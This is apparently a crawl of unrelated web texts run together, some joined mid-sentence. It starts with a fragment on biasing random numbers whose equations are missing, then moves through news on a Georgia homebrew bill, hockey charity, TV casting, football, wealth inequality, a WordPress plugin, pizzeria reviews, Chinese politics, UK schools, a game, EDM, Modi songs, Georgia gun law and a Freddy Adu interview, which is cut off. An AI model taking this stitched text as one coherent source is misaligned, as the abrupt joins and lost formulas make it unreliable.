0.0 whilst the rest of the inputs will be mapped to be closer to 1.0. On the other hand, the graph on the right skews the output such that there is a bias for larger numbers; only inputs smaller than 0.4 will be mapped to be closer to 0.0 whilst the rest of the inputs will be mapped to be closer to 1.0. Also, in the graph on the left, the smaller the number the greater the chance of it being returned whilst in the graph on the right, the larger the number the greater the chance of it being returned.We would like to devise a function which will give us this curve, and to some how parameterise the curvature so that the bias can be made stronger or weaker. Such a curve is given by the exponent function(1)which, given that k is positive, goes through (0,0) and (1,1) and which different values of k will change the curvature such that when k is between 0.0 and 1.0 the curvature will be going flatter and when k is between 1.0 and infinity the curvature will be going steeper.In order to control the curvature we shall allow the user to specify a point which the curve is to pass through. To find which value of k will go through the point (x',y'), we make k subject of the formula in (1) after substituting x with x' and y with y' and we get(2)and by substituting (2) into (1) we get(3)which is useful for describing our curve, provided both y' and x' are between 0 and 1, both not included.However we would like the way we control the curvature to be more meaningful to the user. So instead we let the user provide just one variable, called the bias, which will be the x value which will be mapped to 0.5, hence all smaller values will be mapped to be less than 0.5 and all greater values will be mapped to be more than 0.5. To do this, we set y' to be 0.5, so that x' will be the bias, that is, the x value which gives 0.5. After modifying equation (3), the new equation is(4)where b is the bias.The following graphs are obtained for different values of b:The following statistics demonstrate the validity of the function. Again 10000 random numbers are generated using Python's random.random() except that this time we shall pass the random numbers to the devised funtion as x using different values for b and all cases use a seed of 0:So using this function we can easily give a bias to random number generators. The only problem with it is that a bias of zero or one will result in a log of zero and division by zero respectively and hence cannot be done.To bias a random number generator which gives random fractions so that it is biased towards numbers closer to 1 or 0, use the equationwhere x is the unbiased random number, b is the fraction of numbers to be less than 0.5 and y is the biased random number.This morning, the Georgia House of Representatives approved House Bill 99 by a vote of 151-4. The bill is sponsored by freshman Representative/Unconfirmed Homebrew Imbiber Jason Spencer (R-Woodbine). Debate was lively and good-natured, and there was little opposition.
HB 99, which I am referring to as the Homebrewer Rights Bill, makes several provisions loosening regulations on homebrewing in Georgia. Here are the key parts of the bill:
• Raises the maximum amount of beer a person can brew yearly from 50 gallons to 100 gallons (200 gallons if two people of legal drinking age live in the household).
• Legalizes homebrew competitions as well as the transportation of homebrewed beer to said competitions. It is currently illegal to transport homebrewed beer or consume it anywhere other than the household where it was produced.
• Establishes a permitting process for homebrew competitions and legalizes consumption of homebrewed beer at these events.
The full text of the bill can be found here.
The bill still has to be passed out of the Senate and signed by the governor. I’ll keep you posted as it moves through the higher chamber.
AdvertisementsWinnipeg Jets donate $58,000 for Hockey Fights Cancer
Prior to the start of the game the Jets players wore lavender numbered jerseys which will be auctioned off to help raise funds for Cancer Research.
Prior to the signing of the national anthems they presented a cheque to Manitoba Cancer Care for $58,000.00.
True heroes are the kids who suffer from cancer and show such courage in the face of such adversity.
Jets Release:
The Winnipeg Jets Hockey Club is pleased to announce their donation of $58,000 to the CancerCare Manitoba Foundation during the team’s Hockey Fights Cancer Night on November 4, 2014, from fundraising initiatives held throughout the month of October and into November.
The money raised will be specifically used for CancerCare’s Pediatric Clinical Trials. Currently the Foundation funds over 50 percent of the cost of clinical trials for children and teens with cancer here in Manitoba. Manitoba continues to have the highest participation rate of pediatric trials in the country. This has been in large part because of the significant donations CancerCare Manitoba Foundation directs to this effort year after year – all funds raised by CancerCare Manitoba Foundation stays in our province to benefit Manitobans with cancer and their families.
During Hockey Fights Cancer Night, all Winnipeg Jets players wore special-edition lavender jersey during pre-game warm up. The jerseys were raffled off with all proceeds raised going towards the cause. All players’ helmets featured a Hockey Fights Cancer decal while coaches, broadcasters and team personnel wore commemorative Hockey Fights Cancer ties.
Before the game on November 4, four kids who have benefited from CancerCare’s comforting environment – James, Nicolina, Demilade & Rosa – all participated in a ceremonial puck drop with Jets Captain Andrew Ladd, Jets General Manager Kevin Cheveldayoff and CancerCare Manitoba Foundation’s President Annitta Stenning.
Hockey Fights Cancer is an initiative founded in December 1998 by the National Hockey League and the National Hockey League Players’ Association to raise money and awareness for hockey’s most important fight. To date, through the Hockey Fights Cancer initiative, the NHL’s US and Canadian charitable foundations and NHL supporters and fans have donated more than $14 million to support national and local cancer research institutions, children’s hospitals, player charities and local cancer organizations.The 'In Treatment' alum will appear in an upcoming episode centered on gun violence ahead of the May series finale.
The Good Wife is beefing up its guest cast ahead of its series farewell.
Blair Underwood is set to guest star on an upcoming episode of the acclaimed legal drama, The Hollywood Reporter has learned.
Underwood will play Henry, a middle-class motel owner still reeling over the death of his teenage daughter by a random bullet a year ago. As a result, he is determined to stem the tide of gun violence in his community, but finds himself in court defending his methods.
The L.A. Law alum is the latest high-profile guest star for The Good Wife's seventh season. In addition to Vanessa Williams and Peter Gallagher, among others, Margo Martindale received a Critics' Choice Award last month for her recurring role. Other upcoming guest stars include Glee alum Matthew Morrison, who will recur.
Underwood's other credits include Agents of S.H.I.E.L.D, Sex and the City and The New Adventures of Old Christine. The two-time Golden Globe nominee is repped by ICM Partners, Thruline Entertainment and Felker Toczek.
The casting comes days after CBS shocked viewers when it announced, via a Super Bowl ad, that the current seventh season of the Emmy-winning show would be its last. Although former series regulars Josh Charles and Archie Panjabi are not likely to return, according to creators Robert and Michelle King, other fan-favorites including Gary Cole and John Benjamin Hickey are set to reprise their roles at various points in the final nine episodes, which kick off this Sunday at 9 p.m. ET/PT.Manchester City were vulnerable at times at Old Trafford but their hosts never looked like taking advantage due to tactics that do not fit with Manchester United’s stature or attacking heritage
About 10 minutes before half-time, the plea went up around Old Trafford: “Attack! Attack! Attack!” It’s a chant that dates back to the 1960s. It was heard, for instance, at Wembley in 1968 when Manchester United beat Benfica to win the European Cup as fans revelled in the refusal of Matt Busby’s side to rest on a 1-0 lead even in a game so freighted with emotion and importance. By Louis van Gaal’s time, the chant had taken on a different tone: something between mockery of an approach based on risk-free possession and a demand for something more uplifting. It’s hard to interpret this latest outbreak as being anything other than a complaint.
José Mourinho in post-match fracas over Manchester City’s ‘noisy’ celebrations Read more
José Mourinho was always going to have his side sit deep. That’s just how he plays in big games and the evidence of City’s last three league games – and particularly Pep Guardiola’s evident frustration at the approach – was that City don’t find it easy against teams who set out with few ambitions but to deny them space. This City pose challenges few other teams have ever posed: Mourinho’s approach was both predictable and, up to a point, understandable. But only up to a point.
That he began with Marcus Rashford, Jesse Lingard and Anthony Martial behind Romelu Lukaku was misleading. Four forwards looks positive, but he did that at Internazionale as well, when he would field Goran Pandev, Wesley Sneijder and Samuel Eto’o behind Diego Milito and, in big games, watch them defend with great discipline. Mourinho’s greatest gift, perhaps, is his capacity to persuade forwards to defend. That, and the management of expectations.
United’s front four did defend: clumsily and, as it turned out, counterproductively in the case of Lukaku, efficiently and diligently in the case of the wide men tracking the full-backs. At half-time, City had had 75% of the ball and United only three shots.
Little wonder, then, that some home fans became a little restive as they watched a string of long punts aimed in the vague direction of Lukaku, or at least the half of the pitch in which he was mournfully loping. Reactive football is, after all, as the great Russian writer Lev Filatov put it, justifying Krylya Sovetov’s use of a proto-catenaccio in the early 50s, the “right of the weak”. But United are not weak; they are the richest club in the world. Playing like that sits uncomfortably with their self-image. What may work at Chelsea or Porto or even Inter, where reactivity can be accepted as necessary to take on the establishment, doesn’t work when you are the establishment, as United are, as Real Madrid are.
United had played like this against Tottenham, waiting for a mistake that did eventually come. They had played like this at Liverpool, waiting for a mistake that never came. Here, there were mistakes and they served to highlight how many more there might have been had United just applied a little more pressure a little earlier in the game. City, having dominated, became oddly sloppy in the five minutes before half-time. Their opening goal came just after a couple of uncharacteristic misplaced passes, as though they had mesmerised themselves with their possession. Three mistakes in dealing with one simple cross led to the equaliser. At no stage did City seem comfortable dealing with direct balls.
Nicolás Otamendi had one of his shaky days. Fabian Delph for once looked like a midfielder playing at the back, as did Fernandinho for the quarter of an hour he did so before being rescued by the introduction of Eliaquim Mangala. Lukaku and Rashford had chances even before the Ederson double save. With five minutes to go, City were rattled enough to take the ball into the corners, despite their manager’s oft-expressed ideological commitment to attacking football.
City were vulnerable and United, just as against Liverpool, not only did not take advantage but did not seek to take advantage. There is a line between reactivity and passivity and in the first half United were on the wrong side of it. When Mourinho did finally have a go, it was two hours too late and he was complaining about the volume of the music in the visitors’ dressing room. United are not, to use the metaphor Mourinho himself deployed in his first season back at Chelsea to pre-empt and explain the failure of a nascent title challenge, a “little horse”. They are Manchester United, the biggest, most successful team in English football, and their transfer spending is a net £250m in the two years he has been there. A team of that stature cannot be reliant on Paul Pogba – and certainly not on Marouane Fellaini.
David Silva’s slow-motion grace proves far too much for Manchester United | Barney Ronay Read more
Even in the corporatised, sanitised modern Old Trafford fans expect more than that, and directors will come to. Fans, by and large, will accept any means if the ends follow. Sir Alex Ferguson was not the habitual cavalier many like to portray him as, but he won.
Resistance for now is limited but the bigger the gap at the top of the table becomes, the more stylistic questions are going to be asked: why betray tradition or self-image, romanticised as it may be, if the result is defeat? And particularly when the suspicion is that a more proactive, more palatable approach might actually have been more effective, might have exposed an opponent’s weaknesses?
And this is the second season. This is supposed to be Mourinho’s golden time before third-season syndrome strikes.Should I be shocked that five British families "own more than 12.6 million Britons put together", as suggested by a "deeply worried" Oxfam this week? They include the Duke of Westminster, Lord Cadogan, the Reubens and the Hindujas. Likewise "85 global billionaires" have more money than half the global population. Shame on them all. Noble Oxfam seems to have become an all-purpose leftwing wailing organisation. There is no harm in being reminded that some people are rich and some poor, which is why just 1% of Britons pay a third of all income tax. This is hardly news we can use.
Last year's wealth shock stat was that Germans had barely half the net worth per head of the Greeks. The reaction was that this had to be either untrue or fishy. The reason turned out to be that Germans, unlike Greeks and Britons, do not waste their savings on property but put them to productive use. They are thus richer, but "own" less. So?
Economists have long played about with these variants on the "law of the vital few", otherwise drafted as the Pareto principle and the Gini coefficient. They show that the rich tend to be few and the poor many. Democracies tax the former to help the latter, but it is always a game of cat and mouse, cursed by the fact that most rich people are rich because they were born that way. Even the most socialised democracies give sacred status to family legacy. It is summed up in the lighthearted workers' cry: "What's yours is public property; what's mine's my bloody own."
What I find objectionable is not disparities in wealth but blatant unfairnesses, the blatant crudity of the extremes. Public rage at bonuses for failure this past month has been staged against a backdrop of "Benefits Street" television. Soaring house prices have been contrasted with "bedroom taxes". Polls have divided between stinging the undeserving rich and stinging the undeserving poor. Wealth porn has clashed with poverty porn.
Most people seem not to mind when talented artists, footballers and entrepreneurs walk off to the bank with cash won in the open market. But they are infuriated when the bankers walk off with the bank. The assumption that a licence is awarded by the "market for talent", in effect to steal from a bank's depositors and shareholders (including the state), is simply outrageous.
City traders howling for a Porsche and a Cotswolds cottage on pain of taking their dubious skills to Monaco must be a nadir in modern capitalism. They cheekily say they need such incentives so they can give back to taxpayers money spent since 2009 rescuing them from their own failures. I would have taken them at their word. I would have built a trading floor in Wormwood Scrubs prison and kept them there until the money indeed came back.
It is not the billionaire homes, the non-dom status and the tax scams that are shocking in themselves but the fact that regulators – that is ministers – have allowed them. Labour's failure to curb bank oligopolies and the Tories' failure to call the bonus bluffs at Lloyds and RBS are what exaggerated the gap between wealth and poverty. Bankers are Putins, bullying and bluffing their way across Whitehall.
The other side of the gap is no less obscene. I sympathised with Iain Duncan Smith's bid to bring order to a chaotic benefits system. It was fair to all to seek a single universal credit, a cap on benefits income and a matching of housing capacity to means and needs. Labour's dreary cry of "what about the losers" or "too little too late" – after a decade of doing nothing – was kneejerk opportunism.
For all that, I was shocked by two TV series, Channel 4's Benefits Street and the BBC's Famous, Rich and Hungry. Neither had anything to do with wealth distribution. They showed how a centralised welfare bureaucracy could turn good intentions into personal tragedies. The wreckage that drugs, debt and imprisonment could inflict on the community of a street was devastating. In the "regulated anarchy" of Benefits Street it was anarchy that was kind and regulation that was evil.
Likewise in Famous, Rich and Hungry, what was instructive was not the impact of hunger on the rich and famous. It was the ease with which minor debt could slide into a tangle of hunger and despair. This was largely caused by the court system. I had never imagined that the justice minister, Chris Grayling, would in effect subcontract a fine repayment to a racketeer. This turns a £500 fine almost instantly into £1,000, and so on ad infinitum. The system could hardly be better designed to get the poor into prison and their children into care homes.
There are many causes of Lombard Street being rich and Benefits Street poor. But the widening of the gap must in part be caused by the actions or inactions of the state. It is government contracts and lax regulation that drives London's banking community to immense wealth – to a level unknown in Germany. Likewise it is government policy on drugs and incarceration and lax loan-shark control that drives the poor into desperation.
George Osborne should tax under-occupied rich homes to the skies, as Duncan Smith is taxing under-occupied poor ones. All taxes should be clear and hard to avoid, as benefits should be clear and hard to abuse. There will always be rich and poor, but specific actions of the state should not be what makes the rich obscenely rich or the poor obscenely poor.ImageInject (previously called WP Inject) is a free WordPress plugin created by myself that allows you to insert on-topic images into your blog posts. Search for creative commons images in a huge database containing millions of photos directly from within your WordPress editor screen.
Once you found a great photo it only takes a single click to add it to the article you are working on or to set it as your post’s featured image!
In short: ImageInject is the best solution to find free photos and set a featured image for your WP blog posts! It is also completely free, so there is no reason to not download it now or simply install it from your WordPress admin.
Please note: ImageInject was previously known as WP Inject – in this post you might still find reference to both names. See here for details on why WP Inject was renamed.
I have also written a post here on WPscoop about how I use ImageInject personally in order to find a featured image for my new posts with only 2 clicks.
This post and tutorial was previously hosted on its own domain at wpinject.com. I have moved it here to WPscoop in order to list all my free WordPress plugins in one place.
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Really really good! I loved the ricotta and it was cooked to perfection! The sauce they use is really tasty and has lots of flavor. This almost takes like my moms home cooking! I will definitely get this in the future. Spaghetti bolognese - I loved this as well. I'm a sauce guy and I love tons of sauce! If you're like my family and not a sauce person, have them go light as they put a lot on top. The flavor of the meat and the marinara were delicious. The building needs some touch ups, the place is used as a salsa club and it definitely looks it. The place looks a little hidden and almost looks closed. Don't let the looks deceive you, it's most likely open. The reason I will come back is the owner. He is an awesome guy and he takes pride in what he does. I will personally tell him next time that I wasn't a fan of the pizza. The customer service here is top notch, as in most restaurants when they first open up. Give this place a try, and definitely stay away from the margherita pizza!
Love coming here. Brought the wife this time! Every time we get food from here it is amazing. I'm starting to check off the items on the menu like bingo. My wife has a special diet and the owner did a great job of accommodating her needs.
Yummy yummy yumm!! We got a family meal deal and boy it was delicious Dinner was delivered to us sooner than what was expected and it was. All of the ingredients seemed to be fresh and well proportioned. We got a killer deal for some delicious hot wings, large pepperoni and mushroom pizza, salad and some bread knots with marinara dip! All this for $27 bucks yes you heard right $27 bucks well worth every hard earned penny!!The only thing is the knots could be tastier, recommend to add more of what ever they put on it. Otherwise we will be recommending and ordering from here for a while. I really hope they do well with this business, stay humble and continue with the excellent customer service and delicious food, we hope they do not become cheap with the ingredients and or less the portions like other pizza places. Good job people!!!
Ordered Greek salad...it was very wet!!! Ordered buffalo wings...old and chewy!!!! Ordered pizza...cold...crust was chewy!!!!!! Not happy.
I just ordered delivery from this place for the first time. My husband and I just drove back from a festival (LIB), and didn't feel like driving a moment longer. I used the app which was actually very easy! We ordered: 1. Ricotta & Spinach Pizza-- sooooooo good. I compare the texture and taste of the crust to California Pizza Kitchen... It's very tasty. Lots of mozzarella and ricotta, and not too much garlic or spinach. I recommend it. 2. Meatball Sub-- another really great item on the menu. It tastes how you want a meatball sub to taste: hot, enough melted mozzarella, and the marinara was so good that my husband even liked it! 3. Fettuccini Alfredo-- k I don't understand how this place doesn't have more reviews! This was so good, it had just enough salt and he had to have used real Parmesan because it tastes like I got it from an authentic Italian restaurant. It didn't have a garnish, or shrimp, but it was still really great. 4. Cannoli-- very good too. They are the perfect way to end the meal. I personally like chocolate covered ones, but these has a great flavor. I'll definitely recommend this place and will be back. It will most likely become another staple, plus it's close to our house!!
This place is terrible. I ordered carbonara with angel hair pasta and a cheese pizza. After waiting over an hour, I got some kinda of spaghetti alfredo dish and a pepperoni pizza which I hate. I attempted to call the restaurant and no one answered. I would not recommend this place
Not once but twice have I attempted to come here and both times the doors are locked and no one is answering the phone. There are literally THREE "open" signs in the windows and one of them is literally flashing. We tried knocking on the window when we saw an older gentleman walking around, he ignored us as well as the phone ringing as we were calling. If the flashing open signs weren't enough of an indicator that they should be open, YELP states they were to.... yet, not answer. Poor customer service, I won't be wasting my time again.
I tried this place because it was close to my home and offered free delivery. I ordered lasagna with meat sauce, and antipasta salad. Lasagna came with soup and garlic bread. I was very disappointed with the Lasagna. It only had meat and cheese on the top layer. The other two layers were just noodles with no filling or cheese. The sauce had a good flavor but where was the meat? Would not order that again. The soup was bland and disappointing as well. The antipasta salad had no salami/pepperoni, just another type of meat that was rolled with cheese into pinwheels. Not bad, but not what I expected. I guess the new owners have their own ideas on Italian food that is not the norm.
Beware. Under new ownership. Old reviews are not for this new place. Pizza did come out hot and the hot wings were tasty. Although Pizza tasted like cafeteria food. Spaghetti was baaaaddd it was like your babysitter learning how to cook made it. We got served our food on 99cent store plates and plastic cutlery. We had many signs to leave. However we were all hungry and decided stupidly to stay. Was hot in there with no ventilation. I would not recommend this place to anyone I know. People who worked there were very nice I feel bad I don't like giving negative reviews. So that says a lot.
This was our first order from this place. It didn't start off with a great impression when the driver couldn't find our building (even though every Uber/Lyft driver using google maps can) and caused my boyfriend to spend 15 min running around trying to find the driver. Then our order wasn't correct (wrong soda delivered and ranch instead of marinara for the mozzarella sticks). When I tried to call, no one would pick up. The food itself was ok- the pepperoni pizza had good cheese and a nice chewy crust. The mozzarella sticks were ok. Not sure if we'd order again, but maybe.
This place is a nightclub after 9 o'clock but a Pizzeria & Italian food restaurants by day. We started with a bowl of the Italian minestrone soup. The soup was fabulous. And vegetables were so incredibly tasty it was like nothing I've ever had before: tomatoey,buttery, cheesy flavor that made you feel like you crawled up in a comforter and fell asleep. This was accompanied with garlic knots. OMG. Next we have a chop chop salad. Chop chop salad was accompanied with a light then the greens Citrus kind of dressing vinaigrette. The main course was the spaghetti bolognaise. Everything was fresh and flavorful. The meal is finished by tiramisu homemade period and cheap cheap cheap. What an incredible find my total bill was like $25. Amazing for two!! people.BEIJING -- President Xi Jinping continues to strengthen his grip on power as China's absolute leader, putting the country's armed police force under his thumb in his latest move.
The Communist Party of China has decided to consolidate control over the People's Armed Police at the Central Military Commission, the state-run Xinhua news agency reported Wednesday.
The paramilitary force's responsibilities span from guarding key facilities and fighting terrorism to controlling crowds and suppressing riots. It has traditionally taken orders from both the State Council, or cabinet, and the military commission, but after Jan. 1, it will answer only to the latter, which is headed by the president.
Considered a second military force, the armed police are treated similarly to soldiers, but the force is clearly separate from the People's Liberation Army. The paramilitary force is said to have 700,000 to 800,000 personnel.
Experts believe the consolidation of oversight at the military commission is aimed at preventing any possibility of the police force being used to stage a coup. It has been suggested that Zhou Yongkang, a former member of the Politburo Standing Committee, plotted to carry out a coup against the Xi administration by teaming up with Bo Xilai, a former Communist Party secretary of Chongqing who once was the president's major rival. Zhou had a strong influence over the paramilitary force.
The People's Daily, the party's official paper, emphasized in its online edition that the decision to centralize control of the paramilitary force marks a crucial shift promoting the long-term stability of the party and the nation and that ensuring the country's political security is one of the intended objectives. The army and the military police will remain separate organizations, according to the daily. While the People's Liberation Army has been working to shed 300,000 soldiers, the retrenchment program won't affect paramilitary force personnel, and the police's duties will remain unchanged, the People's Daily added.
More details may be parceled out in the coming days before the new system takes effect Jan. 1. Some party officials revealed that there have been discussions about separating the fire-fighting unit of the paramilitary force and putting it under the State Council's control.Image caption Secondary schools in Liverpool and Manchester are "not firing on all cylinders"
Failing schools risk causing plans for the government's so-called Northern Powerhouse to "splutter and die", the Ofsted chief has warned.
Secondary schools in Liverpool and Manchester are "not firing on all cylinders" due to deteriorating GCSE performances, Sir Michael Wilshaw said.
This could result in a "lack of skills" for the northern economic growth plan, a letter from the watchdog said.
Manchester City Council said "measures are in place to overcome the dip".
Liverpool City Council said the Northern Powerhouse would be an "empty political slogan" unless it has "more powers to influence education" to deliver the skills businesses want.
'Pioneering cities'
Image copyright PA Image caption Sir Michael questioned why so many schools are failing in the north west
In a speech to the Institute of Public Policy Research think tank, chief inspector of schools Sir Michael said: "These are the cities that built Britain.
"They pioneered a modern, civic education when students at certain other universities spent most of their time studying the New Testament in Greek."
He said Manchester and Liverpool "boast eight universities between them, two of which are among the top 200 in the world".
"If these cities can provide a world-class education for youngsters at 18, why on earth are they failing to do so for too many at 11?" he said.
"At some point, politicians in Manchester and Liverpool will have to accept that the Northern Powerhouse will splutter and die if their youngsters lack the skills to sustain it."
Image copyright Getty Images Image caption Almost two thirds of students in Knowsley fail to achieve five or more GCSE A* to C grades
Ofsted figures show three in 10 Manchester secondaries and four in 10 of those in Liverpool are rated below good.
The proportion of teenagers gaining at least five C grades at GCSE, including English and maths, has dropped in both cities.
'Worrying picture'
In separate letters, Ofsted's regional director has written to education authorities in Greater Manchester and Knowsley, Merseyside, about "concerns" over pupil outcomes.
Inspector Christopher Russell highlighted Knowsley because almost two thirds of students failed to achieve five or more GCSE A* to C grades including English and maths.
"This is a shocking statistic," he said.
The education system in Knowsley "has already failed a generation" and "is set to continue for yet another generation", Mr Russell said.
Leader of Knowsley Council, Andy Moorhead, replied to Mr Russell in an open letter saying he was "disappointed" by the "lost generation" comment.
"We do not write off our children simply because they do not achieve five or more A*-C."
"In Knowsley, we work in a very open and transparent way with all our partners and with Ofsted - indeed you personally complemented my officers on their approach when they met with you in January," he said.
Image caption The Northern Powerhouse is a government initiative aiming to bridge the economic gap between the north and south
Performance levels in Greater Manchester, he said, "present a worrying picture for the employment prospects" and "a real risk to the economic and social stability of the area".
Councillor Rosa Battle, of Manchester City Council, said: "We've been working non-stop with schools over the last few years to improve outcomes in the city.
"Latest figures show the number of pupils now attending good or better schools in Manchester is the same as that nationally - with a rate of improvement on this measure over the last four years that far outstrips national improvement."
"Measures are in place to overcome last year's dip because we're simply not prepared to sit back and watch our pupils fail," she said.
Nick Small, Liverpool City Council's cabinet member for Education, Employment and Skills, said: "Sir Michael Wilshaw makes an excellent point.
"If our residents - and our young people in particular - don't have the right skills for the jobs of the future then the Northern Powerhouse will be an empty political slogan.
"If we're going to balance the UK economy so that cities like Liverpool can contribute more to UK growth then we need more powers to influence the whole education and skills system to make sure we're delivering what Liverpool businesses want."
The Northern Powerhouse is a government initiative aiming to bridge the economic gap between the north and south by attracting investment and improving transport links between its towns and cities.Ogre is an official adaptation of the highly regarded asymmetric tabletop turn based strategy game of the same name in which hovercraft, tanks, marines and infantry do battle with giant cybernetic war machines called “Ogres” in the irradiated battlefields of the future.
Ogre and its various expansions have been delighting tabletop players over forty years now, earning high praise for its easily accessible, fast paced and open ended take on the hex strategy genre. In the traditional version of the game one player controls a giant heavily armoured Ogre Tank that’s kitted out with devastating weaponry, while the other player uses a combination of a wide range of infantry and armoured units to fend them off. There’s a large choice of armored units for the defending player that fall into different sub categories – Light Tanks, Heavy Tanks, Missile Tanks, Ground Effect Vehicles, Infantry, Marines and Howitzers (you can find a full list here), with the player able to choose the exact composition of their army – allowing for a variety of different tactics when taking on the mighty Ogre.
The digital adaption plans to offer the most comprehensive Ogre experience possible, with different rule sets, online and local multiplayer, tutorials, varied map deigns, a single player skirmish mode, a wide variety of units and a full single player campaign created in partnership with Steve Jackson Games. It’s a promising game, that looks set to offer a deep asymmetric tactical turn based experience with plenty of replayability that should satisfy fans of the original tabletop game and provide and provide a great entry point for newcomers to the Ogre battlefields. Sign up now for a chance to enter those irradiated battlefields of Ogre early!
Check Out The Ogre Steam Page Here
UPDATE: This Beta Is No Longer AvailableDo you ever say or hear that EDM artists have sold out? While we do love artist's freewill and the ability that any DJ can reinvent themselves by exploring new sounds, it is very surprising to see how much dance music has changed over the past 5 years. Today, we know Zedd for his huge dance pop hits with releases from “Stay,” “Get Low,” and “Clarity,” but who can forget the days of “Shave It” and his remix of “Breakn' A Sweat?”
In the videos below, the Facebook page titled Revealed Family has outlined just how much dance music artists have changed in the past 5 years. In part 1, Revealed Family outlines the stark differences in Nicky Romero, Zedd, Afrojack, R3hab, Julian Calor, Thomas Newson, Vicetone, Alesso, The Chainsmokers, and Avicii's style has changed. In a more recent video, Revealed Family has uploaded part 2 which focuses on artists such as Deorro (TONIC!), Martin Garrix, Axwell /\ Ingrosso, Lazy Rich, DallasK, FTampa, Skrillex, Tiesto, Krewella, and Dubvision.
The Progression of Dance MusicAs support grows for Narendra Modi in some quarters, the internet has been flooded with songs of praise for the Bharatiya Janata Party prime ministerial candidate. Some of them are so tacky, they would appear to actually have been made by NaMo's rivals. But who's to say?A few months ago, actress Meghna Patel demonstrated her enthusiasm for NaMo by shooting in the nude (with her modesty protected by a bunch of strategically placed lotuses ). Here, she shakes her hips to reiterate the message, "Our vote is very crucial. And, everybody should use it in the right way. I want every Muslim of India to vote Mr. Narendra Modi as he is right and perfect candidate."If you're so inclined, this ditty is also available for download as a cell-phone ring tone."I would like to take this opportunity to tell everyone that Me and 5 of my friends had no experience at all in shooting a video or making a video, this was our very first attempt ever to make a video," says this Modi fan from Palmsprings, California. "I really hope you guys enjoy this video made by me and my friends."YouTube: See our playlist hereIn the “flashback quote of the day” at Taegan Goddard’s Political Wire, he highlights words from candidate Barack Obama, made in a 2007 speech (and referenced in Slate). That quote is as follows (spoken word differs slightly from the prepared text quoted by others, what follows is transcribed from the video):
And understand this: If American workers are being denied their right to organize and collectively bargain when I’m in the White House, I will put on a comfortable pair of shoes myself, I’ll will walk on that picket line with you as President of the United States of America. Because workers deserve to know that somebody is standing in their corner.
Well, will we see it? Or will it end up like the closing of Guantanamo Bay, a public option, or restoring constitutional checks and balances? He has given credence lately to false framing from the right with his freezing of pay of government workers, extension of the Bush tax cuts, a “deficit commission,” more budget cutting, and lip service to looking into deregulation when deregulation led us to financial collapse. Will he find those shoes?Share
Avondale Estates City Hall is about as close to Mayberry as local government gets in metro Atlanta.
There’s no one stopping you when you come through the door, and the secretary always has a smile for you when you walk into the City Manager’s office.
But Georgia’s new gun law will change all that. During the July 23 City Commission work session, Police Chief Gary Broden explained how the city will have to change the way it does business because of House Bill 60, aka the Guns Everywhere Bill, which went into effect on July 1.
Pretty soon, there could be a window between the secretary and the taxpayers that walk into City Hall.
Under the law, people are allowed to carry guns into government buildings. Broden and City Manager Clai Brown talked about other security measures. The city recently received quotes for security cameras, and it will cost around $6,000.
“The biggest thing is once we close those doors and make that a service window, that’s going to be a big change for everybody,” Brown said. “We have an open door policy. That’s going to be a tough one.”
The law is tough on law enforcement too, Brown said.
“With the new law that has passed, there could be someone walking around the lake on our pathway with a longgun strapped to their backs,” Brown said. “Police officers cannot go challenge them and say, ‘Do you have a permit?’ That is a lawsuit waiting to happen. You’ve got to have probable cause.”
Other cities are grappling with the bill too. Both Atlanta and Decatur have said the bill will likely cost taxpayers money because of the additional security they will have to put in place.
Broden predicted that there will be revisions to the law in the upcoming session of the state Legislature.
“This has been a big discussion with the chiefs …,” he said. “You’re going to see a change by this time next year. There’s going to be change.”
Locally, the changes will come much sooner than that. Putting extra security in place and watching residents with cameras sounded more like Orwell than Avondale to the city commissioners.
“Where were the grown ups when this legislation was being considered,” Commissioner John Quinn asked.Freddy Adu recently did an interview with Miro Palma of CORREIO in Salvador where they discussed a variety of topics. Below is the translation of the interview.
Translation of Freddy Adu’s CORREIO interview with Miro Palma (Twitter: @miropalma):
*All translation done by Colin Reese. Any mistakes are my own.
http://www.correio24horas.com.br/esportes/detalhes/detalhes-1/artigo/freddy-adu-brinca-com-apelido-baiano-e-revela-gosto-de-oito7nove4/
Freddy Adu chegou ao Bahia cercado de expectativas e, mesmo após mais de três meses, o torcedor não pode fazer uma análise apurada do jogador de 24 anos. São só quatro partidas – todas elas entrando no 2º tempo, a poucos minutos do fim. Mesmo assim, o americano acredita que pode ser útil. No treino de ontem, marcou até um gol. Sempre alegre, tido pelos companheiros como o mais querido do elenco, ele projeta um futuro grandioso no Esquadrão. Em um bate-papo descontraído com o CORREIO, onde respondeu todas as perguntas em português, Adu falou sobre tudo. Confira!”
Freddy Adu came to Bahia surrounded by expectations, and even after more than three months, the fans can’t make a reasoned assessment of the 24 year old player. There are only four games, all of them (with him) coming on in the second half, just a few minutes from the end (of the game). Despite this, the American thinks he can be useful. At yesterday’s practice, he even scored a goal. Always happy, considered by his teammates as the most liked (player) on the roster, he sees a bright future ahead of him with the Esquadrão. In a casual chat with CORREIO, where he answered all of the questions in Portuguese, Adu talked about everything. Check it out!
Que achou da Copa das Confederações? E do Brasil?
Gosto muito do futebol brasileiro. Quando a Seleção Brasileira joga, sempre assisto, pois eu gosto de jogo bonito. O Brasil ganhou contra a Espanha e todo mundo fala: ‘pô, o Brasil voltou’. Futebol é a minha vida. Gosto muito de acompanhar todos os jogos e quero ficar aqui no próximo ano, jogando no Bahia.
What did you think of the Confederations Cup? And of Brazil?
I like Brazilian soccer a lot. Whenever the Seleção plays, I always watch, since I like jogo bonito. Brazil beat Spain, and everyone said, “Fu.., Brazil is back.” Soccer is my life. I really like to keep up with all of the games, and I want to stay here next year playing for Bahia.
E Neymar?
Joga muito (Risos). Foi o melhor jogador da Copa das Confederações e acho que vai se sair muito bem no Barcelona. Ele é muito importante para a Seleção Brasileira, faz coisas diferentes.
And Neymar?
He can really play (laughs). He was the best player in the Confederations Cup and I think he’s going to turn out really well at Barcelona. He is really important for the Seleção, he does unique things.
Você espera jogar mais no segundo semestre?
Sim, sim, sim. Só espero a minha chance. Tenho que trabalhar e, quando tiver a chance, mostrar que mereço. Mas se o treinador acha que o outro jogador pode ajudar mais, está tudo bem. Meu trabalho é vir aqui e, quando tiver chance, ajudar o time.
Do you hope to play more in the second half of the season?
-Yes, yes, yes. I’m just waiting for my chance. I have to work and when I have the chance, show that I deserve it. But if the coach thinks that another player can help more, that’s ok. My job is to come here, and when I have the chance, help the team.
Porque acha que ainda não teve uma sequência?
Mudou muito de treinador. Quando o novo (Joel) chegou, não me conhecia muito bem. Por isso tem que mostrar sempre que é bom jogador.
Why do you think you haven’t had a good sequence (of games)?
The coaches changed a lot. When the new one (Joel Santana) came, he didn’t know me very well. Because of that, you have to show that you’re a good player.
O que acha de Salvador?
